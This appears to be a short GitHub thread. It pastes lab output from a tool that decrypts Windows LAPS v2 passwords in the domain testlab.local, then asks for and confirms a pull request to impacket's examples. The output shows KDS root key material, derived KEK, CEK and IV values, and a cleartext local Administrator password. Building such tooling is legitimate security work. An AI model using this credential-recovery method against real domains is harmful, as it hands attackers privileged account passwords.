# RootKeyId:		b'\xc5>\x1b\xb7\x84W\x1cx\xa2X\x06=\xc9T\xafN'
# KdfAlgo:		SP800_108_CTR_HMAC
# KdfPara:		SHA512
# SecAlgo:		DH
# SecPara[FieldOrder]:	b'\x87\xa8\xe6\x1d\xb4\xb6f<\xff\xbb\xd1\x9ce\x19Y\x99\x8c\xee\xf6\x08f\r\xd0\xf2],\xee\xd4C^;\x00\xe0\r\xf8\xf1\xd6\x19W\xd4\xfa\xf7\xdfEa\xb2\xaa0\x16\xc3\xd9\x114\to\xaa;\xf4)m\x83\x0e\x9a| \x9e\x0cd\x97Qz\xbdZ\x8a\x9d0k\xcfg\xed\x91\xf9\xe6r[GX\xc0"\xe0\xb1\xefBu\xbf{l[\xfc\x11\xd4_\x90\x88\xb9A\xf5N\xb1\xe5\x9b\xb8\xbc9\xa0\xbf\x120\x7f\\O\xdbp\xc5\x81\xb2?v\xb6:\xca\xe1\xca\xa6\xb7\x90-RRg5H\x8a\x0e\xf1<m\x9aQ\xbf\xa4\xab:\xd84w\x96RM\x8e\xf6\xa1g\xb5\xa4\x18%\xd9g\xe1D\xe5\x14\x05d%\x1c\xca\xcb\x83\xe6\xb4\x86\xf6\xb3\xca?yqP`&\xc0\xb8W\xf6\x89\x96(V\xde\xd4\x01\n\xbd\x0b\xe6!\xc3\xa3\x96\nT\xe7\x10\xc3u\xf2cu\xd7\x01A\x03\xa4\xb5C0\xc1\x98\xaf\x12a\x16\xd2\'n\x11q_i8w\xfa\xd7\xef\t\xca\xdb\tJ\xe9\x1e\x1a\x15\x97'
# SecPara[Generator]:	b"?\xb3,\x9bs\x13M\x0b.wPf`\xed\xbdHL\xa7\xb1\x8f!\xef T\x07\xf4y:\x1a\x0b\xa1%\x10\xdb\xc1Pw\xbeF?\xffO\xedJ\xac\x0b\xb5U\xbe:l\x1b\x0ckG\xb1\xbc7s\xbf~\x8cob\x90\x12(\xf8\xc2\x8c\xbb\x18\xa5Z\xe3\x13A\x00\ne\x01\x96\xf91\xc7zW\xf2\xdd\xf4c\xe5\xe9\xec\x14Kw}\xe6*\xaa\xb8\xa8b\x8a\xc3v\xd2\x82\xd6\xed8d\xe6y\x82B\x8e\xbc\x83\x1d\x144\x8fo/\x91\x93\xb5\x04Z\xf2vqd\xe1\xdf\xc9g\xc1\xfb?.U\xa4\xbd\x1b\xff\xe8;\x9c\x80\xd0R\xb9\x85\xd1\x82\xea\n\xdb*;s\x13\xd3\xfe\x14\xc8HK\x1e\x05%\x88\xb9\xb7\xd2\xbb\xd2\xdf\x01a\x99\xec\xd0n\x15W\xcd\t\x15\xb35;\xbbd\xe0\xec7\x7f\xd0(7\r\xf9+R\xc7\x89\x14(\xcd\xc6~\xb6\x18KR=\x1d\xb2F\xc3/c\x07\x84\x90\xf0\x0e\xf8\xd6G\xd1H\xd4yTQ^#'\xcf\xef\x98\xc5\x82fKL\x0fl\xc4\x16Y"
# PrivKeyLength:		512
# PubKeyLength:		2048
# Domain:		testlab.local
# Forest:		testlab.local
# L1Key:		b"*\x95fyn5\xaf\xa5\x9b\xc7\x19\xa6\x89mg\x1eb\xab\x9c\xe6L\x07\x98\xc7\xc8\xd58\xcfa<\x8a\xdbI:\xb8\xc0e\x9b\xfc\x19s\x8br\xa8\x93\x9d'\xdfi\xdd\xae4[n\xbc\xd2\x89\xf45\xc4\xd9\x0b\x9c,"
# L2Key:		b'\xf6A\xd0\xb2\x83\x8b\xb3\x02\x89\x1f\xcf\xf9>5\xe2\xd4\xf2\x9f\xf3\xa6\x971\xeb\xac\x10\x96\xac\x894\xa5j\xa8\xf3*\x9a\x04K("H\xc0\xab$\x96s\xe9\x99h@i\x945\x1f\xcd\xad,t\x95\xb7c\xc9GP\xea'

# [-] Computing L2 Key
# [-] Computing Private Key
# [-] Computing Shared Secret based on Diffie-Helmann
# [-] Computing KEK
# b'VF\xd76\xcdz\xa5/aMX\xcb#\xc0"\xbfu\xc3\xd4\xa2z\xcd\x95e\x1eC\xf3\x9e\x11\x1d\x9a\xfc'
# [-] Unwraping CEK
# b'I\x1a\xe6\x98\xfc\x0ew\x81\xb4\xe9\xb9\x0fF\xcd\xed-\xdb\xd77c{{\x95\xb8@\xa2\xadH\xdf\x12H\xc2'
# [-] Got IV
# b'H\xf9\xe7\xdd\x07:\xfd\xf3.\x9f\xe9N'

# {"n":"Administrator","t":"1d971f20f608397","p":"6js]7;7//+Z+7q"}

Can you submit a PR and include this to the impacket examples folder?

Hey, already done: fortra/impacket#1556